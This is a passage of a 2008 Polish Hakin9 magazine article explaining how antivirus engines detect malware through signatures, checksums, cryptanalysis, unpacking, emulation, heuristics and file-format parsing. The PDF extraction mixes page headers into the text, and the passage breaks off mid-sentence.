2002 powstały najbardziej skomplikowane wirusy
metamorficzne, będące podsumowaniem tego
okresu. Ze względu na pełną zmienność miały
stanowić Wunderwaffe, którą autorzy wirusów
pokonają ostatecznie programy antywirusowe.
Tak się jednak nie stało. Twórcy silników
antywirusowych podnieśli rzuconą rękawicę
i wkrótce powstały nowe wersje programów,
potrafiące identyfikować kod metamorficzny.
Pokonanie ostatecznej broni osłabiło morale
przeciwników. Na ten okres nałożyło się kilka
spektakularnych medialnie aresztowań i część
ludzi tworzących wirusy wycofała się ze sceny.
Kolejne dwa lata można uznać za spokojne. Mimo
kilku masowych infekcji (np. robaka Blaster) nie
nastąpił wśród pojawiających się zagrożeń wielki
skok technologiczny. Dopiero w roku 2004, gdy
pojawił się robak Mydoom, a za nim Netsky i
Bagle, spokój został zakończony. Nie ze względu
na nowe techniki ataku, ale ze względu na inną
motywację. Od tego roku czynnikiem motywującym
stały się pieniądze, które przyciągnęły dziesiątki, a z
czasem setki nowych twórców niebezpiecznego
oprogramowania. Przed twórcami silników
antywirusowych pojawiło się nowe zadanie:
sprostać powodzi ataków.
JAKUB DĘBSKI
Z ARTYKUŁU
DOWIESZ SIĘ
jakie techniki i algorytmy
wykrywania zagrożeń
stosowane są w programach
antywirusowych.
CO POWINIENEŚ
WIEDZIEĆ
powinieneś posiadać
podstawową wiedzę na temat
asemblera x86,
powinieneś znać popularne
algorytmy wyszukiwania,
powinieneś znać budowę plików
wykonywalnych.
Sygnatury
Do wykrywania niebezpiecznego oprogramowania
silniki antywirusowe wykorzystują różne techniki.
Każda powstała jako odpowiedź na nowe
zagrożenie. Choć pierwszymi niebezpiecznymi
programami były konie trojańskie, rozgłos zdobyły
dopiero wirusy komputerowe potrafiące się
replikować. Wirusy początkowo były prostym
kodem nadpisującym pliki lub sektory startowe
dyskietek. Z czasem metoda ataku została
ulepszona i oryginalny kod wykonywał się po
zakończeniu działania wirusa, czyniąc działanie
wirusa niezauważanym. Do wykrywania prostych
wirusów zastosowano sygnatury. Sygnaturą
niebezpiecznego programu jest ciąg bajtów, który
jednoznacznie go identyfikuje. Ciąg ten powinien być
wystarczająco długi, aby nie powodował fałszywych
alarmów. Prawdopodobieństwo fałszywego
alarmu można ograniczyć wybierając sygnaturę
z fragmentu odpowiedzialnego za niebezpieczną
akcję, np. infekcję pliku. Jeżeli autor wirusa wykorzysta
tę samą procedurę infekcji w innym wirusie,
sygnatura taka będzie w stanie go wykryć.
Wybierane sygnatury mogą zawierać
wieloznaczniki (ang. wildcards), które odpowiadają
za dowolny bajt. W sygnaturach opisujących wirusy
asemblerowe dowolnymi bajtami były miejsca,
w których wirus przechowywał zmienne lokalne.
W przypadku sygnatur z kodu wygenerowanego
w językach wysokiego poziomu, wieloznaczniki
wykorzystuje się do pominięcia zmiennych
argumentów instrukcji procesora, zależnych od
Stopień trudności
Programy
antywirusowe
od środka
Dziś programy antywirusowe nie są tym, czym były pierwotnie.
Oprócz wirusów komputerowych wykrywają całą gamę zagrożeń,
wliczając w to konie trojańskie, oprogramowanie szpiegujące,
exploity, phishing, a nawet spam. Choć zagrożenia bywają całkiem
różne, do ich badania wykorzystywane są podobne techniki.
43
PROGRAMY ANTYWIRUSOWE OD ŚRODKA
HAKIN9
4/2008
umiejscowienia kodu i danych w pamięci. Na
Listingu 1. wieloznaczniki oznaczone są za
pomocą ‘??’.
Niektóre wirusy w ramach walki ze
skanowaniem sygnaturami pomiędzy
swoje instrukcje dodawały nic nierobiące
instrukcje. Do wykrycia takich wirusów można
zastosować wieloznaczniki odpowiadające za
0-n bajtów, ale zwykle nie są one stosowane,
gdyż spowalniają algorytm wyszukiwania.
Można je zastąpić większą liczbą prostych
sygnatur.
Choć technika wyszukiwania
sygnaturami jest prymitywna, wciąż jest
szeroko stosowana przez niektóre firmy
antywirusowe. W jej implementacji firmy
stosują wszystkie użyteczne algorytmy
z zakresu dopasowywania wzorców,
wykorzystujące najczęściej deterministyczne
i niedeterministyczne automaty skończone,
algorytmy słownikowe i drzewa poszukiwań.
Zarówno dobór sygnatur jak i same algorytmy
optymalizowane są według zastosowań.
Przykładowo w plikach wykonywalnych
najczęściej pojawiającym się bajtem jest
0, więc nie ma sensu zaczynać sygnatur
od tego bajta, gdyż byłby on zbyt często
dopasowywany.
Warto obalić jeden z mitów popularnych
wśród użytkowników. Zwiększanie bazy
zagrożeń nie wpływa drastycznie na
szybkość skanowania przez program
antywirusowy. Twórcy silników antywirusowych
stosują algorytmy działające w czasie
logarytmicznym, dzięki czemu zwiększenie
liczności bazy zagrożeń na przykład z
300 tysięcy do 400 tysięcy spowoduje
kilkuprocentowy spadek szybkości
skanowania. Należy jednak pamiętać, że
każda sygnatura jest związana z nazwą i
niekiedy procedurą leczącą, co powoduje
szybki wzrost wielkości bazy. Z tego powodu
część firm wykorzystuje sygnatury generyczne,
pokrywające całą rodzinę zagrożeń.
Sumy kontrolne
Sygnatury, aby nie powodowały fałszywych
alarmów, muszą mieć długość
zapewniającą uniknięcie kolizji. W przypadku
programów pisanych w językach wysokiego
poziomu sygnatury binarne muszą być
bardzo długie, gdyż kod generowany
przez kompilator jest podobny. Każdy
kompilator stosuje określone konstrukcje,
które pojawiają się w zarówno dobrych jak
i niebezpiecznych programach. Ponieważ
przechowywanie długich wzorców wymaga
dużej ilości pamięci, autorzy programów
antywirusowych sygnatury zastępują
sumami kontrolnymi.
Sumy kontrolne tworzone są za pomocą
powszechnie stosowanych funkcji skrótu
(ang. hash functions), takich jak MD5 czy
CRC, lub za pomocą funkcji stworzonych
od podstaw dla uzyskania lepszej
efektywności. W najprostszym przypadku
sumy kontrolne obliczane są z całego
pliku. Podejście to wydaje się naiwne, lecz
jest efektywne w wykrywaniu zagrożeń
spowodowanych zmianami wprowadzonymi
w plikach dobrych. Część niebezpiecznego
oprogramowania modyfikuje jeden lub kilka
bajtów w pliku systemowym wyłączając
ochronę lub umożliwiając wyexploitowanie
go po stworzeniu procesu. Do czasu
systemu Windows Vista większość
oprogramowania (nawet pochodzącego
od Microsoftu) nie była podpisana cyfrowo,
więc tak niewielkie zmiany trudno było
wykryć innymi metodami.
Obliczanie sum kontrolnych zwykle
nie sprowadza się do naiwnego
przetworzenia kolejnych bajtów. W
przypadku sum kontrolnych uzyskiwanych
z sekcji kodu zwykle wykorzystuje się
dezasemblację i jak przy sygnaturach
pomija bajty odpowiedzialne za zmienne
argumenty instrukcji. W przypadku sum
kontrolnych z początku pliku (zwykle
nagłówek określonego formatu) pomija
się niewykorzystywane pola, które po
zmianie nie wpłyną na działanie pliku (na
Rysunku 1. oznaczone kolorem żółtym). W
przypadku skryptów pomijane są białe znaki
i komentarze.
Twórcy niebezpiecznego oprogramowania
wprowadzają do plików modyfikacje, aby
oszukać skanowanie sumami kontrolnymi.
Czasami proces modyfikacji przebiega w
sposób automatyczny, na przykład podczas
instalacji oprogramowania w systemie
lub podczas pobierania pliku z serwera
HTTP. Oprócz zmian nagłówka pliku często
używanym trikiem jest dopisywanie bajtów na
końcu pliku lub w niewykorzystanej przestrzeni
w środku pliku.
Problemem, który pojawia się przy
sumach kontrolnych, jest znalezienie
właściwego początku dla liczenia sumy.
Oprócz oczywistych miejsc takich jak
początek pliku czy punkt wejścia programu
występują sytuacje, na przykład podczas
emulacji, w których startu nie można
jednoznacznie określić. Obliczanie sum
kontrolnych z obszarów zaczynających
się od kolejnych bajtów może być
powolne. Z pomocą przychodzą funkcje
skrótu przesuwnego (ang. rolling hash),
wykorzystywane np. w algorytmie Rabina-
Karpa, które umożliwiają wyliczenie nowej
wartości funkcji za pomocą kolejnego bajta i
pierwszego bajta kontrolowanego obszaru.
Zwykle do identyfikacji zagrożenia
stosowane jest kilka sum kontrolnych lub
dopasowanie sumy kontrolnej po tym, gdy
zostanie dopasowana sygnatura.
Metody algorytmiczne
Powyższe metody sprawdzają się
w przypadku najpopularniejszego
niebezpiecznego oprogramowania, czyli
prostego oprogramowania tworzonego przez
laików. Osoba posiadająca odpowiednie
Listing 1.
Przykładowa sygnatura z
wieloznacznikami
53
push
ebx
8BD8
mov
ebx,eax
33C0
xor
eax,eax
A3????????
mov
[
00404084
]
,eax
6A00
push
000
E8????????
call
GetModuleHandleA
;kernel32
A3????????
mov
[
00405650
]
,eax
A1????????
mov
eax,
[
00405650
]
A3????????
mov
[
0040408C
]
,eax
33C0
xor
eax,eax
Sygnatura:
538BD833C0A3????????6A00E8????????A3
????????A1????
????A3????????
33C0
Rysunek 1.
Pola nagłówka PE, które
mogą zostać zmienione bez wpływu na
uruchomienie programu
OBRONA
44
HAKIN9 4/2008
PROGRAMY ANTYWIRUSOWE OD ŚRODKA
45
HAKIN9
4/2008
umiejętności może obejść wykrywanie
sygnaturami za pomocą polimorfizmu lub
metamorfizmu, może utrudnić znalezienie
początku wirusa za pomocą EPO (patrz
Ramka), może również próbować zintegrować
kod wirusa z nosicielem.
Do wykrycia tak stworzonego
niebezpiecznego oprogramowania
wykorzystuje się wyspecjalizowane
algorytmy. Tworzenie ich przypomina pracę
detektywa: analizujemy miejsce zbrodni
(plik) i patrzymy, gdzie jej autor popełnił błąd.
Algorytmy identyfikujące zagrożenie muszą
być niezawodne, ale też szybkie. Ten drugi
warunek może być spełniony właśnie dzięki
przeoczeniom popełnionym przez zbrodniarzy.
Błędem najczęstszym jest zmiana
charakterystyki pliku, będąca specyficznym
odciskiem palca pozostawionym podczas
ataku. Dzięki niemu możemy stwierdzić, czy
analizowany plik posiada cechy wspólne
z zagrożeniem. Choć sam odcisk nie jest
wystarczający do identyfikacji, jest podstawą
przejścia do fazy dokładnej analizy. Jeżeli
nie występuje, kończymy w tym momencie
sprawdzanie. Przykładowymi odciskami
palca są określone rozmiary i atrybuty sekcji,
entropia lub rozkład statystyczny w wybranych
obszarach pliku, nazwy sekcji niewystępujące
w normalnych plikach czy też punkt wejścia
programu ustalony na sekcję danych.
Autorzy wirusów komputerowych zawsze
popełniali błędy. W ciągu dwudziestu lat
nie pojawił się wirus, którego nie dałoby się
szybko wykryć, choć należy liczyć się z tym,
że w przyszłości może się pojawić. Autorzy
niebezpiecznego oprogramowania wciąż
próbują i niektóre słabsze technologicznie
silniki antywirusowe nie są w stanie wykryć
skomplikowanych wirusów. Właśnie z powodu
niewykrycia będącego na wolności wirusa
Virut wiele programów nie uzyskało w grudniu
certyfikatu Virus Bulletin 100.
Metody kryptoanalityczne
Zarówno wirusy infekujące pliki jak i protektory
plików wykonywalnych (np. ASProtect, Yoda
czy Armadillo) do ukrycia kodu wykorzystują
szyfrowanie. Jedną z metod stosowanych
przez programy antywirusowe do uzyskania
odszyfrowanego kodu są metody
kryptoanalityczne. Sprawdzają się wtedy, gdy
algorytm szyfrujący jest najsłabszym punktem
obrony w niebezpiecznym oprogramowaniu.
Najczęściej używaną metodą ukrywania
kodu jest wykorzystanie prostych operacji typu
xor, add, sub na kolejnych bajtach, słowach
lub podwójnych słowach. Ich złamanie jest
banalne i program antywirusowy jest w stanie
zrobić to w ułamku sekundy. Przykładowo dla
funkcji
xor
, gdy
c xor k = p,
to
p xor c
= k
. Jeżeli
p
jest naszym tekstem jawnym
(tu wirusem odszyfrowanym, który znamy)
zaś
c
jest postacią zaszyfrowaną, to w łatwo
możemy znaleźć klucz
k
. Jeżeli klucz jest stały
lub modyfikowany prostym algorytmem, to nic
nie stoi na przeszkodzie, aby odszyfrować nim
resztę zaszyfrowanego obszaru.
W przypadku wirusów polimorficznych
tekstem jawnym jest część odszyfrowana. W
przypadku protektora pliku wykonywalnego
tekstem jawnym mogą być wybrane bajty z
nagłówka pliku, znane funkcje biblioteczne
kompilatora, czy charakterystyczne cechy
sekcji zasobów. Wykorzystywana jest każda
informacja, która może zostać wybrana jako
tekst jawny.
Sprawa komplikuje się w przypadku
algorytmów szyfrujących generowanych w
sposób losowy. Najczęściej wykorzystywanym
zestawem operacji szyfrujących są prosto
odwracalne xor, add, sub, rol, ror, którymi
modyfikowany jest też klucz. Przykładowa
procedura szyfrująca jednego z wirusów
polimorficznych wygląda następująco (
k
jest kluczem,
v
losową wartością,
op
losowo
wybraną operacją):
c[i] = p[i] op1 v1
k = k op2 v2
c[i] = c[i] op3 k
Odszyfrowanie danych w tym przypadku
jest bardziej skomplikowane obliczeniowo,
gdyż wymaga sprawdzenia permutacji
operacji, ale wciąż jest możliwe do zrobienia w
akceptowalnym czasie.
Metody kryptoanalizy przestają być
skuteczne w przypadku kryptografii z silnym
algorytmem szyfrującym. Ponieważ źródła
takich algorytmów są ogólnie dostępne
silne algorytmy są coraz częściej używane
w niebezpiecznym oprogramowaniu.
Na szczęście dla użytkowników w wielu
przypadkach są użyte w sposób niepoprawny,
wynikający z niewiedzy lub nie doczytania
dokumentacji, dzięki czemu możliwe jest ich
złamanie.
Odpakowanie statyczne
Kiedy niebezpieczne oprogramowanie zaczęto
tworzyć w językach wysokiego poziomu
większość autorów przestała skupiać się na
tworzeniu zabezpieczeń przed jego analizą.
Nie miało to sensu, ponieważ na rynku
dostępnych było wiele narzędzi spełniających
to zadanie. Niektóre z tych narzędzi były na
tyle silne, że nie potrafiły poradzić sobie z nimi
programy antywirusowe. Ich zaletą było też to,
że w tak zabezpieczonym pliku nie można było
wykrywać samego zabezpieczenia, ponieważ
zabezpieczenie używane było też w dobrym
oprogramowaniu. Autorzy antywirusów musieli
znaleźć rozwiązanie problemu w sytuacji, w
której nie zawsze pomagała kryptoanaliza.
Jednym ze sposobów poradzenia sobie
z protektorami plików wykonywalnych jest
odpakowanie statyczne, czyli przeanalizowanie
algorytmów protektora i przygotowanie
specjalnych procedur odpakowujących w
silniku antywirusowym.
Na początku należy protektor
zidentyfikować. Do identyfikacji można
wykorzystać skanowanie sygnaturami lub,
w przypadku protektorów polimorficznych,
mechanizmy służące do identyfikacji wirusów
polimorficznych. Protektory w większości
przypadków działają na takiej samej zasadzie
Terminologia
• Polimorfizm – technika ukrywania algorytmu poprzez zastąpienie oryginalnych instrukcji
wykonujących algorytm równoważnymi instrukcjami. Jedna instrukcja może być zastąpiona
dowolną liczbą instrukcji dających identyczny efekt. Polimorfizm jest używany w celu ukrycia
algorytmu odszyfrowującego oryginalny kod, który zostanie następnie uruchomiony.
• Metamorfizm – technika podobna do polimorfizmu. Każda instrukcja oryginalnego kodu jest
zastępowana dowolną liczbą instrukcji dających równoważny efekt. Ponieważ ukrywany jest
algorytm oryginalnego kodu, nie jest potrzebne dodatkowe szyfrowanie go.
• EPO – z ang. EntryPoint Obscuring – ukrywanie punktu wejścia. Wirus infekując plik musi
w pewnym momencie zostać wykonany. Proste wirusy uruchamiają się wraz ze startem
nosiciela. Technika EPO polega na przekazaniu sterowania do wirusa w innym momencie
działania programu-nosiciela, na przykład zamiast wywołania funkcji API. W ten sposób
program antywirusowy nie może stwierdzić, w którym miejscu zaczyna się wirus.
OBRONA
44
HAKIN9 4/2008
PROGRAMY ANTYWIRUSOWE OD ŚRODKA
45
HAKIN9
4/2008
jak wirusy polimorficzne – dodają warstwę
zabezpieczającą oryginalny kod, zaś kod
oryginalny pozostaje niezmieniony.
Kiedy rozpoznamy konkretny protektor
możemy uruchomić procedurę zdejmującą
zabezpieczenie. Procedura taka musi być
napisana na podstawie analizy konkretnego
protektora, co ma liczne wady. Po pierwsze,
jeżeli nie znamy silnika zabezpieczającego,
nie możemy zabezpieczenia zdjąć. Do czasu,
aż otrzymamy przynajmniej kilka próbek,
nie możemy być pewni zasady działania
protektora. Po drugie, odpakowanie statyczne
jest wrażliwe na modyfikacje wprowadzone w
zabezpieczonym pliku. Drobna modyfikacja
sygnatury może spowodować, że kod nie
zostanie rozpakowany. Drobna modyfikacja
wygenerowanego kodu może spowodować
błędne odpakowanie. Po trzecie, wiele z
dostępnych protektorów posiada otwarte
źródła, więc nie jest problemem zmienić
sam algorytm zabezpieczenia. Po
zmianie algorytmu statyczna procedura
odbezpieczająca przestanie działać, gdyż
próbuje odpakować nieobsługiwany protektor.
Jeżeli nie możemy zdjąć zabezpieczenia,
to atakujący może w prosty sposób
wygenerować niewykrywalny wariant swojego
programu poprzez użycie tego protektora.
Odpakowanie dynamiczne
W programach antywirusowych emulatory
zostały stworzone jako odpowiedź na
wirusy polimorficzne. Do dzisiaj są
najskuteczniejszym sposobem radzenia sobie
z nimi, ale używane są także do odpakowania
protektorów. Odpakowanie z wykorzystaniem
protektora nazywane jest odpakowaniem
dynamicznym.
Program emulowany uruchamiany jest
bezpiecznym, symulowanym środowisku.
Proces emulacji zwykle zaczyna się od punktu
wejścia i przebiega do czasu znalezienia
sygnatury niebezpiecznego programu, do
czasu, aż emulator stwierdzi, że wykonywany
program jest bezpieczny, lub do czasu
wyczerpania zasobów.
Emulator może zostać wykorzystany
do odszyfrowania zaszyfrowanego kodu
niezależnie od złożoności szyfru. Zwykle
nie jest problemem dostarczenie zasobów
w postaci pamięci, ponieważ taką ilość
pamięci potrzebuje zabezpieczony program
do uruchomienia. Problemem jest jednak
szybkość emulacji. Na emulowanym systemie
jest ona od kilkudziesięciu do kilkuset razy
mniejsza niż w rzeczywistego działania. Jedną
ze skuteczniejszych metod przyspieszenia
emulacji jest tłumaczenie dynamiczne
(ang. dynamic translation), spotykane w
kompilatorach JIT. Każda instrukcja, zamiast
być interpretowaną, jest tłumaczona na
bezpieczną wersję wykonywaną na aktualnym
procesorze.
Budowa emulatora
Emulator programu antywirusowego
składa się z następujących elementów:
• Emulator procesora – Do typowych zadań
emulatora procesora należy rozkodowanie
instrukcji wskazywanej przez wskaźnik EIP,
wykonanie kodu zależnego od instrukcji
i zapamiętanie wyników. Następnie EIP
jest zwiększany tak, aby wskazywał na
kolejną instrukcję. Ponieważ protektory
coraz częściej wykorzystują sterowniki
pracujące w trybie jądra, konieczne staje
się emulowanie instrukcji działających też
w tym trybie.
Emulowany procesor musi posiadać
pełną informację na temat stanu rejestrów
ogólnego przeznaczenia, segmentowych,
debugowania, flag i wskaźnika
instrukcji. Wiele protektorów używa
instrukcji koprocesora, MMX, SSE, więc
konieczne jest przechowywanie stanów
wykorzystywanych też przez nie.
• Menadżer pamięci – Menadżer pamięci
musi odpowiadać istniejącemu w
systemie. Każdy obszar pamięci składa
się z ciągłej listy stron. Każda strona
posiada opis zabezpieczeń i alokacji.
W przypadku naruszenia zabezpieczeń
lub próby uzyskania dostępu do
nieprzydzielonej pamięci menadżer
pamięci musi wygenerować wyjątek.
Menadżer pamięci dba o przydzielanie
pamięci na stercie i zarządza stosem.
• Ładowanie procesu – Na podstawie
nagłówka pliku wykonywalnego konieczne
jest stworzenie procesu w pamięci. Każda
wersja systemu tworzy proces w inny
sposób i przed autorem silnika pozostaje
wybranie, którą wersję emulować. Do
standardowych zadań przy ładowaniu
procesu zaliczają się: przydział pamięci
i skopiowanie sekcji, ustalenie atrybutów
pamięci, załadowanie emulowanych
bibliotek, wypełnienie tablicy importów (IAT),
zaaplikowanie relokacji.
Przy ładowaniu procesu konieczne
jest ustalenie środowiska procesu
(Process Environment Block) na zgodny
z systemem. Jest to konieczne, ponieważ
wiele protektorów korzysta z informacji w
nim zawartych np. do sprawdzenia, czy
proces nie jest debugowany.
Ponieważ system Windows posiada
mało restrykcyjny loader, możliwe jest
takie zmodyfikowanie pliku PE, że wciąż
będzie uruchamiany w systemie Windows,
zaś wiele emulatorów stwierdzi, że plik
nie posiada poprawnego formatu.
Przykładowo wiele pół nagłówka nie jest
wykorzystywana lub wykorzystywana
jest w sposób odmienny od specyfikacji
(Rysunek 1).
• Emulacja pamięci bibliotek – Przy
tworzeniu procesu lub wywołaniu funkcji
LoadLibrary
konieczne jest wczytanie
do pamięci procesu zewnętrznej biblioteki.
Biblioteka taka musi być emulowana
w sposób jak najpełniejszy (wraz z jej
strukturą w pamięci), ponieważ niektóre
protektory szukają adresów funkcji
eksportowanych bezpośrednio w
bibliotece, za pomocą mniej lub bardziej
wyrafinowanych metod.
• Emulacja wątków – Ponieważ wiele
zabezpieczeń wykorzystuje kilka
działających jednocześnie wątków,
konieczne stało się emulowanie
przełączania kontekstu. Ponieważ wiele
wątków w protektorach nie uczestniczy
bezpośrednio w procesie rozpakowania,
konieczne jest stworzenie dobrego
mechanizmu ich szeregowania, aby
wykonywały się głównie wątki mające
znaczenie.
• Emulacja przerwań – Emulacja przerwań
była głównie wykorzystywana przy
emulacji trybu rzeczywistego procesora
w czasach wirusów DOSowych.
System Windows w trybie użytkownika
uniemożliwia wołanie większości z nich,
najczęściej rzucając wyjątek.
• Emulacja wyjątków – Strukturalna obsługa
wyjątków (ang. Structural Exception
Handling) jest jedną z najpopularniejszych
metod ukrywania ścieżki wykonania.
Funkcje obsługi wyjątków są ustalane,
następnie wywoływany jest wyjątek,
który powoduje przejście do innego
miejsca w kodzie. Ponieważ wyjątek
może być spowodowany na wiele
sposobów (np. niedozwolony dostęp do
pamięci, przerwanie, dzielenie przez zero,
OBRONA
46
HAKIN9 4/2008
PROGRAMY ANTYWIRUSOWE OD ŚRODKA
47
HAKIN9
4/2008
przepełnienia arytmetyczne), konieczne
jest emulowanie każdego z nich. W
nowych wersjach systemu Windows
istnieje również Vectored Exception
Handling, który jest w protektorach rzadko
używany.
• Emulacja API – Protektory plików, aby
utrudnić debugowanie wywołują szeroką
gamę funkcji API. Poczynając od
najprostszych jak IsDebuggerPresent po
tak oryginalne jak GetProcessAffinityMask.
Tworzenie emulatora wymaga
implementowania jak największej liczby
używanych funkcji, choć na szczęście
większość z nich może zwracać wartości
domyślne. Często wartości zwracane
przez wywoływane funkcje nie są nigdzie
wykorzystywane. Ponieważ protektory
używają niekiedy nieudokumentowanych
funkcji Native API, konieczna jest emulacja
również tego poziomu.
• Emulacja komunikatów – Jeżeli emulator
ma służyć nie tylko do odpakowania pliku,
ale też do analizy behawioralnej, konieczne
jest dodanie emulacji i przetwarzania
komunikatów. Przykładowym
komunikatem, który trzeba zasymulować,
jest naciśnięcie klawisza [Enter] lub
aktywacja okna (ustalenie focusu).
• Emulacja środowiska zewnętrznego
– Do analizy behawioralnej konieczne
jest zaimplementowanie zewnętrznego
środowiska procesu. Wiele infektorów
plików może zostać wykrytych jedynie,
gdy są w stanie zainfekować plik,
wiele robaków można wykryć według
komunikacji sieciowej, wiele koni
trojańskich dodaje się w rejestrze jako
Browser Helper Object. Aby możliwe
było wykrycie takich akcji konieczne
jest stworzenie wirtualnego systemu
operacyjnego, posiadającego systemu
plików, rejestr i dostęp do sieci. Im więcej
elementów zewnętrznych zostanie
zaimplementowanych (np. wirtualny serwer
HTTP lub IRC), tym skuteczniejsza staje się
heurystyka.
Zastosowanie emulacji do odpakowania
likwiduje wszystkie problemy, które występują
w przypadku statycznego odpakowania. Wiele
programów antywirusowych nie posiada
jednak dobrze zaimplementowanego
emulatora, przez co nie radzi sobie z
protektorami plików wykonywalnych. Jest tak,
ponieważ stworzenie pełnego emulatora
komputera z systemem operacyjnym, jest
zadaniem skomplikowanym, czasochłonnym
i żmudnym. Emulator wymaga zespołu
ludzi stale pracującego nad nim, ponieważ
protektory używają coraz to nowszych
sztuczek i wykorzystują coraz więcej funkcji API,
które trzeba symulować.
Wykrywanie protektorów
Wiele firm antywirusowych nie będąc w stanie
przedostać się przez warstwy zabezpieczeń
jedynie informuje o nich użytkownika. Z
jednej strony jest to rozwiązanie dobre,
ponieważ wykrywa wszystkie tak chronione
niebezpieczne oprogramowanie. Z drugiej
strony powoduje fałszywe alarmy, gdyż
niektóre firmy wykorzystują protektory jako
zabezpieczenie przed crackerami. Większość
komercyjnych zabezpieczeń wymaga
maksymalnie kilku dni pracy dobrego
crackera, żeby zabezpieczenie złamać. Można
być pewnym, że jeżeli aplikacja jest tego
warta, to zostanie złamana. Jeszcze niedawno
stosunek zabezpieczonego malware do
zabezpieczonego dobrego oprogramowania
wynosił 10:1. Aktualnie wynosi on ponad 1000:
1. Wykrywanie samych zabezpieczeń wydaje
się więc dobrym pomysłem, ale sytuacja
komplikuje się w przypadku zdobywającego
popularność .NET, gdzie obfuscatory są
cenione i stosowane od dawna ze względu
na łatwość dekompilacji pierwotnego kodu.
Analiza
behawioralna i jej przyszłość
Wiele programów antywirusowych oprócz
analizy behawioralnej podczas emulacji
stosuje analizę behawioralną w działającym
systemie. Jest to standardowy element HIPS
(Host Based Intrustion Prevention System). Ze
względu na istnienie Kernel Patch Protection
w systemie Windows Vista wykrywanie
intruzów tym sposobem zostało mocno
ograniczone. Przyszłością wydaje się być
wirtualizacja stosowana w procesorach
(AMD-V, ITV), którą można zastosować ją na
jeden z trzech sposobów:
• Cały system jest uruchamiany w
wirtualnym środowisku i nadzorowany,
• Tworzony jest wirtualny komputer
(sandbox), w którym program przed
uruchomieniem jest analizowany
behawioralnie,
• Każdy proces działa w wirtualnym
środowisku i jego akcje przenoszone
są do środowiska rzeczywistego w
momencie, kiedy program nadzorujący
stwierdzi ich bezpieczność.
Heurystyka
Metody heurystyczne umożliwiają wykrycie
wariantu znanego zagrożenia lub – w
swojej najbardziej rozwiniętej postaci
– również zidentyfikowanie zupełnie
nowego zagrożenia. Heurystyka, czyli
ochrona proaktywna, została dokładniej
opisana w styczniowym numerze Hackin9.
Zainteresowanych tematem odsyłam do
tego numeru.
Ze stosowania zaawansowanych
metod heurystycznych najbardziej znany
jest silnik programu NOD32 Antivirus firmy
ESET, czyli silnik ThreatSense®. Należy
podkreślić, że metody heurystyczne,
stosowane przez firmę ESET mocno
różnią się od typowych, prostych
heurystyk. Silnik ThreatSense® stosuje
zaawansowaną heurystykę łączącą
pełną emulację systemu z analizą
behawioralną, statyczną analizą kodu i
wzorcami generycznymi. Uzyskane dane
są klasyfikowane za pomocą algorytmów
sztucznej inteligencji niespotykanych w
innych programach antywirusowych, ale
wykorzystywanych np. w badaniach nad
ludzkim genomem. Kod tych algorytmów
został zoptymalizowany do pracy z
niebezpiecznymi plikami, w których
różnorodność danych jest znacznie
większa niż ACGT łańcucha DNA. Siłę tych
algorytmów potwierdzają testy heurystyk
programów antywirusowych, w których
ESET NOD32 Antivirus uzyskuje ponad
70% wykrywalność nowych zagrożeń nie
powodując fałszywych alarmów. Testy
ochrony proaktywnej przeprowadza m.in.
austriacki ośrodek AV-Comparatives
(www.av-comparatives.org).
Skanowanie
formatów plików
Programy antywirusowe nie przetwarzają
całych plików, gdyż byłoby to zbyt wolne.
W większości przypadków nie operują
też na bajtach, gdyż jest to zbyt niski
poziom abstrakcji, aby możliwe było
przeprowadzenie skutecznych analiz.
Silniki programów antywirusowych muszą
znać strukturę pliku, na którym operują i
skanować go różnie, w zależności, czy jest to
plik formatu exe, archiwum zip czy kod html.
OBRONA
46
HAKIN9 4/2008
PROGRAMY ANTYWIRUSOWE OD ŚRODKA
47
HAKIN9
4/2008
Możemy wyróżnić główne kategorie
formatów przetwarzanych obiektów:
• pliki wykonywalne (np. com, dos exe, pe
exe, elf ),
• pliki wykonywalne z kodem pośrednim
(Visual Basic, MSIL, Java),
• pliki skryptowe (vbs, bat, sh, html),
• protokoły sieciowe (http, ftp, icq, msn),
• kontenery, w których są osadzone inne
obiekty:
• archiwa (zip, rar, tgz),
• instalatory (Wise, NSIS),
• obiekty OLE (doc, ppt, xls),
• pliki poczty, skrzynki pocztowe
(mbox, dbx, pst, msg, tnef ),
• obrazy płyt (iso, mds, nrg),
• zasoby plików wykonywalnych,
• pliki pomocy,
• pliki urządzeń mobilnych (sis),
• kontenery wieloplikowe (rar, r01, r02...),
• inne kontenery.
Największym problemem, w przypadku
parsowania formatów plików są zamknięte
źródła o niedostępnej specyfikacji... ale
też otwarte źródła, które każdy może
zmodyfikować. O ile w przypadku zamkniętej
specyfikacji praca wymaga inżynierii
wstecznej, niekiedy będącej na pograniczu
prawa, to możemy być pewni, że autor dla
własnej wygody trzyma się opracowanego
przez siebie standardu. Otwarte źródła (na
przykład instalatora NSIS) powodują, że
każdy może wprowadzić do niego zmiany,
przez co powstałych wariantów formatów
są dziesiątki. W efekcie każdy wariant jest
formatem zamkniętym i firma antywirusowa
musi ponownie skorzystać z inżynierii
wstecznej.
W przypadku udostępnienia przez
producenta specyfikacji nie zawsze można
na niej polegać, gdyż implementacja w
programie producenta nie zawsze jest z nią
zgodna. Powoduje to występowanie luźnych
formatów, które mimo licznych modyfikacji
wciąż są interpretowane bez zgłaszania
błędów. Luźne formaty plików lub ich
całkowity brak (jak jest w przypadku języków
skryptowych), powodują liczne komplikacje
i spowalniają działanie programów
antywirusowych. Program antywirusowy nie
może z ich powodu stwierdzić, że plik na
pewno nie jest danego formatu, więc musi
zostać przeskanowany pod kątem zagrożeń
występujących w tym formacie.
Skanowanie formatów plików ściśle
związane jest z wykrywaniem exploitów.
Plik niespełniający wymagań specyfikacji w
wielu przypadkach umożliwia przepełnienie
bufora lub inny atak na aplikację. Ponieważ
producenci oprogramowania dostarczają
łaty z opóźnieniem, a część użytkowników
chce być chroniona nawet bez aktualizacji
oprogramowania, na barkach twórców
antywirusów spoczywa zadanie wykrywania
błędów w plikach i protokołach sieciowych.
Kolejnym problemem jest kodowanie.
Dane mogą być zakodowane na wiele
sposobów (UNICODE, UTF, BASE64,
UUENCODE, BINHEX) i każdy z nich program
antywirusowy musi sprowadzić do postaci
znormalizowanej. W przypadku plików
binarnych występują różnice kodowania
kolejności bajtów na różnych procesorach.
Innym problemem, bardzo trudnym do
obejścia, są formaty szyfrowane hasłem
dostarczanym użytkownikowi drogą
zewnętrzną. Hasła stosowane w archiwach
wysyłanych pocztą elektroniczną trafiają do
użytkownika w formie obrazka lub tekstu.
Można próbować wykorzystać słowa listu
do odszyfrowania archiwum, można łamać
hasła metodą brute-force, ale w przypadku
długiego hasła dostarczonego w obrazku
pozostają zawodne techniki OCR.
Moduł leczący
Leczenie w programach antywirusowych
pierwotnie dopasowane było do konkretnych
wersji wirusa lub konia trojańskiego. Każdy
